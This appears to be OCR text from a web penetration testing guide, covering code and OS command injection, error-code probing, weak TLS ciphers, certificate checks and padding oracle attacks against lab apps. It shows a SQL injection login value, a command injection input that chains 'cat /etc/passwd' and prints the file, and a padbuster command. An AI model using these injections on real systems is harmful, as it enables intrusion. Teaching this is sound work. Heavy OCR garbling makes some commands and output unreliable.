https://ajax.cloudflare.com GET Jecdn-cgi/scripts /95¢75768/cloud... 304 514 script js v 1
https://phpapp.infosecaddicts.com GET Jcdn-cgifapps/body/nWFfBVgKuw... 304 699 script js v 1
https:/ /www.google-analytics.com GET /analytics.js 304 184 script js v 1
< . — A L PR o - . . J y
Request | Response
Params I Headers | Hex [ ViewState ]
POST request to /login.aspx
Type | Name | Value
Body __EVENTTARGET
Body __EVENTARGUMENT
Body __VIEWSTATE JWEPDWULLTEXNDMwMzAWOTIPZBYCZg9kFgICAwIkFgYCBw8PFgleB1Zpc2libGVoZGl
Body __VIEWSTATEGENERATOR C2EE9ABB
Body ctlo0StxtSearch
Body ctl00StxtSearchDOMXSS
Body ctl00$ddIAdvSearch Title
Body ctl00$txtNewsEmail
Body ctl00SContentPlaceHolder1$txtUser [a€ orl=lora€ =a€
Body ctlo0$ContentPlaceHolder1$txtPass 123
Body ctl00$ContentPlaceHolder1$ibLogin.x 7
Body ctlo0$ContentPlaceHolder1$ibLogin.y 6




9. Testing for Code Injection

In code injection testing, a tester submits input that is processed by the web server as dynamic
code or as an included file. These tests can target various server-side scripting engines, e.g ASP or
PHP. Proper input validation and secure coding practices need to be employed to protect against
these attacks.

How to Test

o Using the query string, the tester can inject code to be processed as part of the included file
e Determine user input in execution function, try to enter commands into the Data input field

Test Example
€= G iy ® & https://192.168.222.136/bWAPP/phpi.php

an ex+remely louﬂay web app !

Buas Change Password Create User Set 5ecuri+y Level Reset

/ PHP Code Inection /

This is just a test page, reflecting back your message



€ C @

ah extremely buﬁgy web app !

Create User Reset

Change Password

Bugs

Set SecurH—y Level

/ PHP Code Infection /

This is just a test page, reflecting back your message

<« c o @ £ https//192.168.222.136/bW, B - 9%

ps:

This is just a test page, reflecting back your message...

anhnhol

A PHP Version
53 2-uburtu4-300

|System |Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686

|Build Date |Apr 17 2015 15:01:49

[server apr Apache 2.0 Handler

Virtual Directory |disabled

ISupport

le ation File ohp he2

(php.ini) Path

Loaded fe pb! spb he2/php.ini

IConfiguration File

IScan this dir for Vetc/ohpS/apache2/conf.d

additional .ini files

Additional .ini files 5 he2/conf.d/curl.ini, /etc/phpS/apache2/conf.digd.ini, /etc/phpS/apache2/conf.d

lparsed /merypt.ini, fetc/php he2/conf.d/mysql.ini, /etc/php he2/conf.d/mysqli.ini, /ohp5
Vapache2/conf.d/pdo.ini, /etc/php5/apache2/conf.d/pdo_mysql.ini

PHP API 120090626

IPHP Extension 20090626

\Zend Extension 1220090626

\Zend Extension Build |API220090626,NTS

IPHP Extension Build [API20090626,NTS

\Debug Build |no

Thread Safety |disabled




10. Testing for Command Injection

OS command injection is a technique used via a web interface in order to execute OS commands
on a web server. The user supplies operating system commands through a web interface in order
to execute OS commands. Any web interface that is not properly sanitized is subject to exploit.

How to Test

e List all input of web interface
e Using special character below

Special Characters for Comand Injection

The following special character can be used for command injection suchas| ; & $><"\1
e cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.
e cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
o cmd1|lcmd2 : Command 2 will only be executed if command 1 execution fails.
e cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
¢ $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
¢ 'cmd' : I's used to execute specific command. For example, 'whoami'
e >(cmd): <(Is)
e <(cmd): >(Is)

Test Example



&« C @ & https//192.168.222.136/b)

an extremely buggy web app !

Chan@e Password Create User Set SecurH-y Level Reset Credits

/ OS Command Inection /

DNS lookup vam.nsa.gov ‘ Lookup

Server: 192.168.222 2 Address: 192.168.222 2#53 Non-authoritative answer: www.nsa.gov canonical name =
www.nsa.gov.edgekey.net. www.nsa.gov.edgekey.net canonical name = e6655.dscna.akamaiedge.net. Name
e6655.dscna.akamaiedge.net Address: 23.36.48.98



PQ4 https://192.168.222.136 POST /bWAPP/commandi.php v 200 12908 HTML php bWAPP - OS Command I...
-«

Request  Response
Raw | Params | Headers | Hex
POST request to /bWAPP/commandi.php
Type | Name | value
Cookie dbx-postmeta grabit=0-,1-,2-,3- 4- 5- 6-3advancedstuff=0-,1-,2-
Cookie security_level 0
Cookie remember_token Stu37BrvdLCcPfSwaD7x4g
Cookie PHPSESSID gtavcd6hjpogvknp2krbjndvuéd
Cookie acopendivids swingset jotto,phpbb2,redmine
Cookie acgroupswithpersist nada
Cookie JSESSIONID 35ABD887923A100D6511E015022983BE
Body target www.nsa.govicat /etc/passwd
Body form submit
P&u& POST  /bWAPP/commandi.php v 200 12908  HTML php. bWAPP - 0S Command |... v 192168222136
« ot 1

Request | Response

Raw | Headers | Hex | HTML | Render

DN lookup: | WWW-Nsa.gov

Lookup
root:z:0:0:root:/root:/bin/bash daemon:z:1:1:daemon:/usr/sbin:/bin/sh bin:z:2:2:bin/bin/bin/sh sys:z:3:3:sys:/dev./bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:z:5:60:games:/usr/games:/bin/sh man:z:6:12:man:/var/cache/man:/bin/sh
1p::7: 7 1p:/var/spool/ipd:/bin/sh mail:z:8:8:mail /var/mail /bin/sh new: :0:news:/var/sp /bin/sh uwucp:z:10:10:uucp:/var/sp p:/bin/sh prozy:z:13:13:prozy:/bin:/bin/sh www-data:z:33:33:www-data:/var/www:/bin/sh
baclup:x:34:34 backup:/var/baclkups:/bin/sh listz:38:38 Mailing List Manager:/var/list:/bin/sh irc:x:39:3%:ircd:/var/run/ircd/bin/sh gnats:z41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:z:65534:65534:nobody:/nonexistent:/bin/sh libuuid:z:100:101::/var/liblibuuid/bin/sh syslogz:101:102:/home/syslog /bin/false ldog:x:102:103:/home/klog/bin/false mysqlz:103:105:MySQL Server,,, /var/lib/mysql./bin/false
pex:104:122: /var pe:/bin/false sshdx:105:65534: /var/run/sshd:/usr/sbin/nologin postgres:=:106:109:PostgreSQL administrator,,, /var/lib/postgresql/bin/bash messagebus:z:107:114: fvar/run/dbus:/bin/false
tomecat6:x:108:115: /usr/share/tomcat6:/bin/false user:z:1000:1000:user,,, /home/user/bin/bash polidtuserz:109:118:PolicyKit,,, /var/mn/PolicyKit:/bin/false haldaemon:z:110:119:Hardware abstraction layer,,, /var/run/hald:/bin/false
pulsex:111:120PulseAudio daemon,,, /var/run/pulse:/bin/false postfixz:112:123:/var/spool/postfiz /bin/false

WWAPP is for educational purposes only / Follow @NMME IT on Twitter and ask for our cheat sheet, containing all solutions! / Need a training? / © 2014 MME BVBA

Testing for Error Handling

1. Analysis of Error Codes

These codes are very useful to penetration testers during their activities because they reveal a lot
of information about databases, bugs, and other technological components directly linked with
web applications.

How to Test

e Test 404 Not Found:



root@ilak:~# telnet testphp.vulnweb.com 80
Trying 176.28.50.165...

Connected to testphp.vulnweb.com.

Escape character is '"]'.

GET /abc 80

<CRLF><CRLF>

<html>

<head><title>404 Not Found</title></head>
<body bgcolor="white">

<center><hl1>404 Not Found</hl></center>
<hr><center>nginx/1.4.1</center>

</body>

</html>

Connection closgeimivymgeysgs on host.

Test 400 Bad Request:

Trying 192.168.222.136...

Connected to 192.168.222.136.

Escape character is '"]°'.

GET / HTTP 1.1

<CHTTP/1.1 400 Bad Request

Date: Wed, 07 Mar 2018 09:08:01 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin
-Patch proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9
.8k Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

Vary: Accept-Encoding

Content-Length: 226

Connection: close

Content-Type: text/html; charset=iso0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<h1l>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />
</p>

</body></html>

Connection closed by foreign host.

Test 405 Method not Allowed



:~# telnet testphp.vulnweb.com 80
Trying 176.28.50.165...
Connected to testphp.vulnweb.com.
Escape character is '"]'.
PUT /index.html HTTP/1.1
Host: 176.28.50.165
<CRLF><CRLF>

HTTP/1.1 405 Not Allowed
Server: nginx/1.4.1
Date: Wed, 07 Mar 2018 ©09:32:55 GMT

Content-Type: text/html
Content-Length: 172
Connection: keep-alive

<html>

<head><title>405 Not Allowed</title></head>
<body bgcolor="white">

<center><h1>405 Not Allowed</hl></center>
<hr><center>nginx/1.4.1</center>

</body>

</html>

o Test 408 Request Time out

Go

Raw | Headers IE] Raw | Headers TKI HTML I Render 1

PUT /index.html HTTP/1.1 A HTTP/1.1 408 Request Time-out
Host: 1S2.168.222.156 r Date: Tue, 0 Mar 2018 18:26:40 GMT
<CRLF><CRLF> Server: Apache/Z.2.16 (Debian)

Vary: Accept-Encoding

Content-Length: 298

Connection: close

Content-Type: text/html; charset=iso-8859-1

!DOCTY HIML PUBLIC "“-//IETF//DID HIML 2.0,
<html><head>
<title> Request Time-out</title>

</head><body>

<hl>Request Time-out</hl>

<p>Server timeout waiting for the HITP request from the client.</p>
<hr>

<address>Rpache/2.2.16 (Debian) Server at 127.0.0.1 Port 80</address>
</body></htul>

o Test 501 Method Not Implemented

telnet <host target> 30
RENAME /index.html HTTP/1.1
Host: <host target>

<CRLF><CRLF>

e Test enumeration of the directories with access denied
o http://<host>/<dir>
o Result: dir listing, not allow to be listed, forbidden or don’t have permission to access.




& C | ® testphp.vulnweb.com/pictures/

Index of /pictures/

1.jpg 11-May-2@11 10:27 12426
1.jpg.tn 11-May-2@11 10:27 4355
2.]pg 11-May-2@11 10:27 3324
2.jpg.tn 11-May-2@11 10:27 1353
3.]jpg 11-May-2@11 10:27 9692
3.jpg.tn 11-May-2@11 10:27 3725
4.7pg 11-May-2@11 10:27 13969
4.jpg.tn 11-May-2@11 10:27 4615

2. Analysis of Stack Traces

Stack traces are not vulnerabilities by themselves, but they often reveal information that is
interesting to an attacker. This information could then be used in further attacks.

How to Test

Some tests to try include:

¢ Invalid input (such as input that is not consistent with application logic)
e Input that contains non alphanumeric characters or query syntax

e Empty inputs

e Input that are too long

e Access to internal pages without authentication

e Bypassing application flow

13{2 hitp://192.168.222.136 POST  /mutiidae/index. php?page=login.php v 200 69047  HTML php 192.168.222.136
«

Request | Response
Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.222.136

a/5.0 (Windows NT 10.0; Wing4; x4; rv:$8.0) Gecko/20100101 Firefox/58.0
lie xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Ac ~En

< e
Referer: http://192.168.222.136/mutillidae/index. php?page=login. php
Content-Type: application/x-wwu-form-urlencoded

Content-Length: 102

dbx-postmet.

£=0 _level=0; 3 SwaD7x4g; PHPSESSID=d25695pologihi3erkm3slrgh0;
acgroupswithy ada;

Y3E3ZDY2MUY4B3 sAVEk iEFS] c3TmX3RvasVuB ] sARK): iMUVBPnS rM2pudl RI emdRNz JyMKXZ ST d2SnIVTEx4bnhWHOZvaX 10 anQwZWHSEj

1=c 1ogin-php: i Login



Fs% hitp://192.168.222.136 [POST | imutilidaelindex php?page=iogin.php v 200 69047  HTML php 192.168.222.136
-

Request | Response
Raw | Headers | Hex | HTML | Render

Failure is always an option

Line 170

File il i QLHandler.php

QLHandler.php on line 165: Error executing query:

connect_ermno: 0

ermo: 1146

Message | error: Table 'nowasp.accounts' doesnt exist
client_info: 5.1.73

host_info: Localhostvia UNIX socket

) Query: SELECT username FROM accounts WHERE X " (0)

#0 QLHandler.php(283): MySQLHandler->doExecuteQuery('SELECT L) #1 i i QLQueryHandler.php(250): MySQLHandler->executeQuery('SELECT
Trace N#2 i i login-attempt php(54): SQLQueryHandl ists( 0#3 il itindex.php(277): include_once(fowaspbwalmutil...) #4
{main}

Diagnotic

EaaTeation Error querying user account

Testing for weak Cryptography

1. SSL/TLS Testing

Testing SSL/TLS cipher specifications and requirements for site:

Black box testing: Detect possible of weak cipher, the ports associate to SSL/TLS must be
defined. Typically include port 443 which standard https port.

e Nmap scanner via “-sV”’ scan option, is able to identify SSL services.
root@ilak:~# nmap -sV google-gruyere.appspot.com

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-05 12:04 +07
Nmap scan report for google-gruyere.appspot.com (172.217.24.180)
Host is up (0.018s latency).

Other addresses for google-gruyere.appspot.com (not scanned): 2404:6800:4005:80e::2014
rDNS record for 172.217.24.180: kule8s@l-in-f20.1el00.net

Not shown: 995 filtered ports

{PORT STATE SERVICE VERSION

80/tcp open  tcpwrapped

113/tcp closed ident

open  tcpwrapped

8008/tcp open  tcpwrapped

8010/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/su
{bmit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.48 seconds

e Identifying SSL services and weak ciphers with Nessus.

Port 443/tcp was found to be open

Port » Hosts

443 /tcp google-gruyere.appspot.com




See Also
https://sweet32.info
https://www.openss|.org/blog/blog/2016/08/24/sweet32/

Output

List of 64-bit block cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

EXP-RC2-CBC-MD5 Kx=RSA (512) Au=RSA Enc=RC2-CBC(40)
export

EXP-RC2-CBC-MD5 Kx=RSA(512) Au=RSA Enc=RC2-CBC (40
export

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)
more...
Port + Hosts

25/tcp/smtp 192.168.222.151

Identifying weak cipher with https://www.ssllabs.com/projects/index.html

Mac=MD5

Mac=MD5

https://www.ssllabs.com/ssltest/analyze.html?d=google-gruyere.appspot.com&s=216.58.192.20

CVSS Temporal Vector: CVSS2#E:F/RL:ND/RC:ND

Vulnerability Information

Exploit Available: true

Exploit Ease: Exploits are available
Vulnerability Pub Date: August 24, 2016
In the news: true

Reference Information

BID: 92630, 92631
OSVDB: 143387, 143388
CVE: CVE-2016-2183, CVE-2016-6329

TLS_RSA_WITH_AES_128_GCM_SHA256 (8x9c) WEAK
TLS_RSA_WITH_AES_256_GCM_SHA384 (0x9d) WEAK
TLS_RSA_WITH_AES_128_CBC_SHA (ex2f) WEAK
TLS_RSA_WITH_AES_256_CBC_SHA (8x35) WEAK
TLS_RSA_WITH_3DES_EDE_CBC_SHA (axa) WEAK

#TLS 1.1 (suites in server-preferred order)

TLS_RSA_WITH_AES_128_CBC_SHA (8x2f) WEAK
TLS_RSA_WITH_AES_256_CBC_SHA (@x35) WEAK
TLS_RSA_WITH_3DES_EDE_CBC_SHA (oxa) WEAK

#TLS 1.0 (suites in server-preferred order)

TLS_RSA_WITH_AES_128_CBC_SHA (ex2f) WEAK
TLS_RSA_WITH_AES_256_CBC_SHA (8x35) WEAK

TLS_RSA_WITH_3DES_EDE_CBC_SHA (exa) WEAK

Manually audit weak SSL cipher levels with openSSL

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc@13) ECDH x25519 (eq. 2072 bits RSA) FS

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (8xc@14) ECDH x25519 (eq. 2072 bits RSA) FS

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (8xc@13) ECDH x25519 (eq. 2072 bits RSA) FS

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (9xc@14) ECDH x25519 (eq. 2072 bits RSA) FS

(P) This server prefers ChaCha20 suites with clients that don't have AES-NI (e.g., Android devices)




openssl s_client -no_tlsl -no_ssl3 -connect google-gruyere.appspot.com:443
CONNECTED(22e22203)
depth=2 OU = Globalsign Root CA - R2, O = GlobalSign, CN = GlobalSign
verify return:1
depth=1 C = US, O = Google Trust Services, CN = Google Internet Authority G3
verify return:1
depth=e C = US, ST = California, L = Mountain view, O = Google Inc, CN = *.appspot-preview.com
verify return:1
Certificate chain
@ s:/C=Us/sT=California/L=Mountain View/O=Google Inc/CN=*.appspot-preview.com
i:/C=US/0=Google Trust Services/CN=Google Internet Authority G3
1 s:/C=US/0=Google Trust Services/CN=Google Internet Authority G3
i:/0U=GlobalSign Root CA - R2/0=GlobalSign/CN=GlobalSign

Server certificate

MIIFNJCCBBEZAWIBAZIINPSXpa4cMtIWDQYIKOZIhvCNAQELBQAWVDELMAKGAIUE
BhMCVWMXHJACBENVBAOTFUdVb2dsZSBUCNVZACBTZXI2aWN1CZEIMCMGALUEAXMC
R29vZ2x1IEludGVybmveIEF1dGhvcmleeSBHMZAFW@XODAXMTYWOTU3MjdaFwax
ODABMTAWODQZMDBaMGEXCZAIBENVBAYTALVTMRMWEQYDVQQIDAPDYWXpZmIybmlh
MRYWFAYDVQQHDAIND3VUdGF pbiBWawWVv3MRMWEQYDVQQKDAPHD29NbGUESHS JMRAW
HAYDVQQDDBUGLMFWCHNwWD3QtcHI1dml1dyS jb2ewggE iMABGCSqGSID3DQEBAQUA
A4IBDWAWZEEKAOIBAQCUIFk4+004NKCGEqQTi1SCEXIwmBEUE4e1ibStSTTF@Vmhh
+p8+ZALGF++77KrDLDICUTACXr15bOH10WEU41aZaTTA91dMd+hm1hgc9kCXkXND
3R4D/beS3nmPSiIilIYewBV/WhGZDisSTznDSTBDwdep+f TXFBIX@7EF3ED+iy0q
kO9xGbmwd TqHrR1ICXNIN9PQ9N/dPUNOW/dEYrkGA+UgNgHeX2C COMPEbE3VULTOZ
SBNV+HWYSKVXqP1EWE2KYarBwuleUpPbezZfT5Vvd+exYD+UkeCTbycSSDEKgxigxd
knWwh7vE01iEBPHLQEXBYTCNEDL+UPZMDOGVORZXAEMBAAGIEEHVMIIBEZATBENV
HSUEDDAKBEZrBgEFBQCDATCEXQYDVRERBIGIMIGEZhUGLMFwWCHNwb3QtcHI1dmll
dy5jb22CDSouYXBwc3BvdC5ib22CFSoudGhpbmt3aXRoZ29vZ2X1LmNVbYIQK1S3
aXR0OZ29vZ2x1LmNvbYIRK153aXRoeWI1dHViZS5)b22CE2FwCcHNWDb3QtcHI1dmll
dy5ib22CC2FwcHNWb3QuY29tghneaGlualdpdGhnb2gnbGUuY29tgg53aXRoZ29v
Z2x1LmNvbYIPd21@aH1lvdXR1YmUUY29tMGEGCCSGAQUFBWEBBFwwWJATBEErBEEF
BQcwAoYhaHR@cDoVL3Brassnb29nL2dzcjIVRIRTR1BRZMUY3I@MCKGCCSGAQUF
BzABhh1odHRwWO18vb2NzcCSwa2kuZ29vZyIHVFNHSUFHMZABENVHQAEFEQU7e+S
RVIYNYEGLYhC7UpYmn13LZIWDAYDVRETAQH/BAIWADAT! Bg?NHSMEGDANgBRBwr‘hQ]
mmd2drEtwobQgEB+pnE6SZANBENVHSAEG JAYMAWGC1SGAQQBINKCBQMWCAYGZAEM
AQICMDEGA1UdHWQQMCEwIgAkoCKGIGh@dHAGLY S jcmwucGtpLmdvb2cvRIRTRE1E
RZMUY3JSMABGCSQGESIb3DQEBCWUAASIBAQAKYEQkSaz5cq3LaB3@0EmMPQAaVN/Z
rEUyMMp@2GmHkt8CF14Sg5mnvCcSE@ZESZ6t4r6ZWLAQQNIWZNWU+CmDCM1gEWH/q
EVaQsvoOXgem2n+GQAJokrFCORIZYIH1KSWea2QbROXEr+XYIKI2d79nECS1vm2A
Op2WYt6IBTEZENEMMdCpirQViREr19PSBQILSdIKkaTTOEXSNSKUUBZZPAdTEbS1Cu
iZIfnpDKdDYSLKNhhbXBNiK1Sr52ujygprsraUu7elubzs3cxBtehavay8zaQne)
QCMPgdeMIOZWoAXIVb2hvbSkonRn+dHSQtILZy6+CbQefBZAICEgN+25

----- END CERTIFICATE-----

subject=/C=US/ST=California/L=Mountain view/O=Google Inc/CN=*.appspot-preview.com
issuer=/C=US/0=Google Trust Services/CN=Google Internet Authority G3
No client certificate CA names sent

Peer signing digest: SHA2S56



New, TLSv1.2, Cipher is ECDHE-RSA-CHACHA22-POLY13@5

Sserver public key is 248 bit

Secure Renegotiation IS supported

Compression: NONE

Expansion: NONE
NO ALPN negotiated
SSL-Session:

Protocol

Cipher

i TLSv1.2

: ECDHE-RSA-CHACHA28-POLY1385S
Session-ID: EFSEG2B4253B4155268B972AE@37(45B32854C30BDCFSEEE4625C8FAF4FSARCY
Session-ID-ctx:
Master-Key: 6115CC2B4568BEAFB39F9CDCABRECEDEEC7FEB2FE9FFF1923ES53EBDA12A3219D1A4D979F95@F9@DDB463@DBI46759E16

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime
TLS session ticket:

22929 - 29 20 99 92 ¢S5 bb 96
2212 - 9a 31 1d ff ec 35 1f
2929 - 32 a3 b4 7d ce &b 5
2230 - 68 fd 2f 2c dS @5 62
2249 - dd 49 @4 33 ee f4 73
@259 - 35 c1 3d 8c b9 98 ca
2260 - 22 b9 24 3f 87 2a 47
e27@ - dé 25 @b 66 57 5d bc
eese - ef fe 83 aa 9c 1a 1a
2299 - 22 32 14 ae 32 @9 7d
e2ae - ef deé 97 8e 3b 3a 97
e2be - ea d4 28 8b c7 83 &4
29C9 - 43 22 33 bc 78 e3 Sa
eede - fc e3 ef 25 29 ff 1c
Start Time: 1517809834
Timeout : 72e@ (sec)

verify return code: e (ok)
Extended master secret: yes

hint:

7d-ab
c2-56
fd-b2
39-e4
26-¢g¢
9f-d3
cf-f7
ab-79
€9-11
7d-89
21-c3
6e-7a
73-2@
29-52

188799 (seconds)

fo
88
91
49
fc
de
49
43
97
ds
ae
16
a3
c4

31
22
ae
24
fa
f2
bc
e
&f
6e
of
fe
e1

45
eb
39
38
ac
7c
9f
cd
fe
c9
24
15
d4

4c
€9
55
22
1a
c8
fa
ca
di
22
43
83
22

ds
35
ed
43
bs
cl
34
22
e7
35
1f
be
7e

g6
7@
87
97
96
45
ca
ba
49
73
g8
ae
94

4
61
5c
e1
ab
47
7e
63
53
37
b1
€9
fe

s ssnsayssdELsua
.1...5..V....5pa
weote.Koo W NOUL LA
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White box testing: Check the configuration of the web servers which provide https services. If
the web application provides other SSL/TLS wrapped services, these should be checked as well.

Example:

e The registry path in windows defines the ciphers available to the server:
o HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SC

e Linux?

HANNEL\Ciphers\

Testing SSL Certificate Validity — Client and Server

When accessing a web application via https protocol, a secure channel is established between client
and server. The identify is digital certificates. In order for the communication to be setup, a number
of checks on the certificates must be passed:

e  Check the CA (Certificate Authority) is trusted

o Each browser come with a preloaded list of trusted CAs, against which the certificate
singing CA is compared.



e Check the certificate is currently valid
o Certificate have an associated period of validity. Browser can warned this case.
e Check that name of site and name reported in the certificate match



o If the name of the server and the certificate do not match, it might sound suspicious. A
system may host a number of name-based virtual hosts, which share same IP address and
are identified by means of the HTTP 1.1 host: header. In this case, since the SSL handshake
checks the server certificate before HTTP request is processed, it is not possible to assign
different certificates to each virtual server.

Black box testing:

e Using Browser such as FireFox
@ https://192.168.222.148:3834 oo w Q_ Search

% Your connection is not secure

The owner of 192.168.222.148 has configured their web site improperly. To protect your information from being
stolen, Firefox has not connected to this web site.

Learn more...

v/ Report errors like this to help Mozilla identify and block malicious sites

192.168.222.148:8834 uses an invalid security certificate.
The certificate is only valid for ilak

Error code: SSL_ERROR_BAD_CERT_DOMAIN

Add Exception...

The certificate will not be valid until (date)

The certificate will not be valid until date(...)

Error code: SEC_ERROR_EXPIRED_ISSUER_CERTIFICATE



The certificate expired on (date)

The certificate expired on date(...)

Error code: SEC_ERROR_EXPIRED_CERTIFICATE

The certificate is not trusted because the issuer certificate is unknown

The certificate is not trusted because the issuer certificate is unknown.
The server might not be sending the appropriate intermediate certificates.

An additional root certificate may need to be imported.

Error code: SEC_ERROR_UNKNOWN_ISSUER

The certificate is not trusted because it is self-signed

The certificate is not trusted because it is self-signed.

Error code: SEC_ERROR_UNKNOWN_ISSUER

The certificate is only valid for (site name)

example.com uses an invalid security certificate.
The certificate is only valid for the following names: www.example.com, *.example.com

Error code: SSL_ERROR_BAD_CERT_DOMAIN

More at: https://support.mozilla.org/en-US/kb/what-does-your-connection-is-not-
secure- mean#w_the-certificate-will-not-be-valid-until-date




Using MMC in window to view list of trusted CA

e pnm B8l HE

_ Console Root Issued To Issued By Expiration Date  Intended Purposes

v @ C.ertiﬁcates - Current User =] AddTrust External CA Root AddTrust External CA Root 5/30/2020 Server Authenticati...
o - 'T:Z:enda::{oot Certification ] AffirmTrust Commercial AffirmTrust Commercial 12/31/2030 Server Authenticati...
" Certificates [ Baltimore CyberTrust Root Baltimore CyberTrust Root 5/12/2025 Server Authenticati...
. E;terprise Trust Y_QJCertum CA Certum CA 6/11/2027 Server Authenticati...
U Intermediate Certification , [ Certum Trusted Network CA Certum Trusted Network CA 12/31/2029 Server Authenticati...
“| Active Directory User Obje: [/ Class 3 Public Primary Certificat... Class 3 Public Primary Certificatio... 8/1/2028 Secure Email, Client...
“ Trusted Publishers [5]COMODO RSA Certification Au... COMODO RSA Certification Auth...  1/18/2038 Server Authenticati...

| Untrusted Certificates 5 Copyright (c) 1997 Microsoft C... Copyright (c) 1997 Microsoft Corp.  12/30/1999 Time Stamping
i Third-Party Root Certificat [/ DigiCert Assured ID Root CA DigiCert Assured ID Root CA 11/9/2031 Server Authenticati...
“| Trusted People = DigiCert Global Root CA DigiCert Global Root CA 11/9/2031 Server Authenticati...
7| Client Authentication Issue|| 5] DigiCert High Assurance EV Ro... DigiCert High Assurance EV Root ...  11/9/2031 Server Authenticati...
“| Local NonRemovable Certil| =] DST Root CA X3 DST Root CA X3 9/30/2021 Secure Email, Serve...
~| MSIEHistoryJournal [=/D-TRUST Root Class 3 CA2EV... D-TRUST Root Class 3 CA2EV 2009 11/5/2029 Server Authenticati...
~| Certificate Enrollment Req) | (5] Entrust Root Certification Auth... Entrust Root Certification Authority ~ 11/27/2026 Server Authenticati...
-| Smart Card Trusted Roots || [] Entrust Root Certification Auth... Entrust Root Certification Authori... 12/7/2030 Server Authenticati...
5] Equifax Secure Certificate Auth... Equifax Secure Certificate Authority  8/22/2018 Secure Email, Serve...
=] GeoTrust Global CA GeoTrust Global CA 5/20/2022 Server Authenticati...
= GeoTrust Primary Certification ... GeoTrust Primary Certification Au...  7/16/2036 Server Authenticati...
5] GeoTrust Primary Certification ... GeoTrust Primary Certification Au... 12/1/2037 Server Authenticati...

< > <

~

Trusted Root Certification Authorities store contains 56 certificates.

2. Testing for Padding Oracle

A padding oracle is a function of an application which decrypts encrypted data provided by the
client, e.g internal session state stored on the client, and leaks the state of the validity of the padding
after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data
and encrypt arbitrary data without knowledge of the key used for these cryptographic operations.

Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers
are 8 and 16 bytes. Data where the size doesn’t match a multiple of the block size of the used
cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A
commonly used padding scheme is PKCS 7. It fills the remaining bytes with the value of the
padding length.

Example

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text.

Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in
the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block
of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted
data. The n-th block of the decrypted cipher text is garbaged by this manipulation.

How to Test




Use below tools to testing this case

e PadBuster - https://github.com/GDSSecurity/PadBuster
e python-paddingoracle - https://github.com/mwielgoszewski/python-paddingoracle




e  Poracle - https://github.com/iagox86/Poracle Padding
e Oracle Exploitation Tool (POET) - http://netifera.com/research/

Test Example

‘ [PentesterLab] Padding Oracle X [Sd

< C @ O # 192.168.222.157/reg

ster.

Login Register

Register
Username:

cloud

Password:

Password (again):

Log in

Go ancel <l|y b Follow redirection

Target: hitp1192.168.222.157 | £ (2]
Request

Response

Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML | Render
POST /login.php HTTP/L.1 ] HTTP/1.1 302 Found 2
Host: 192.168 r Date: Thu, 08 Mar 2018 02:33:43 GMT m
User-Agent: Mozilla/5.0 (VWindows NT 10.0; Win€4; x€4; rv:58.0) Gecko/20100101 Firefox/$8.0 Server: Apache/2.2.21 (Unix) DAV/Z PHP/5.4.3
Accept: text/html,application/xhtmlixml,application/xml;q=0.9,%/%;q=0.8 X-Powered-By: PHP/S.4.3
Accept-Language: en-GB,en;q=0.5 Set-Cool auth=x9NzDgs 2FeGI1bLCEiVhs 2FUeryils 2F16enVi
Accept-Encoding: gzip, deflate Location: /index.php
Referer: htetp://192.168.222.157/login. php Content-Length: 778
Content-Type: application/x-www-form-urlencoded Connection: close
Content-Length: 28 Content-Type: text/html
Connection: close
Upgrade-Insecure-Requests: 1 <t--
<html>
username=cloudépassword=cloud <head>
<title>[PentesterLab] Padding Oracle</title>
<link rel="stylesheet" media="screen" href="/css/bootstrap.css" />
<link rel="stylesheet" media="screen" href="/css/pentesterlab.css" />
</head>
<body>
<div class="container-narrow">
<div class="header">
<div navbar navbar-fixed-top">
<div av-collapse collapse">
<ul class="nav navbhar-nav">
<1li><a href="/login.php">Login</a></1i>
<li><a href="/register.php">Register</a></li>
</ul>
</div>
</div>
</div>
</div
<div class="container">
b <div class="body-content">
v v
? < - =0 [T 0 matches ? < - =0 7 0 matches.

Done 1,052 bytes | 2 millis




A C @ ® 192.168.222.157/index.php A

Padding Oracle

Welcome to the Pe Lab's exercise on Padding Oracle

ed in as the user "admin"_|

root@Kkali: ~ @ O ¢

File Edit View Search Terminal Help
-veryverbose: Be Very Verbose (Debug Only)

:~# padbuster http://192.168.222.157/login.php x9NzDg%2FcGI1bLCtiVb%2FUeryil%2Fl6emVi 8 --cookies auth=x9NzDg%2FcGI1bLCtiVb%2FUeryil%2Fl6emV.

--encoding ©

| PadBuster - v0.3.3
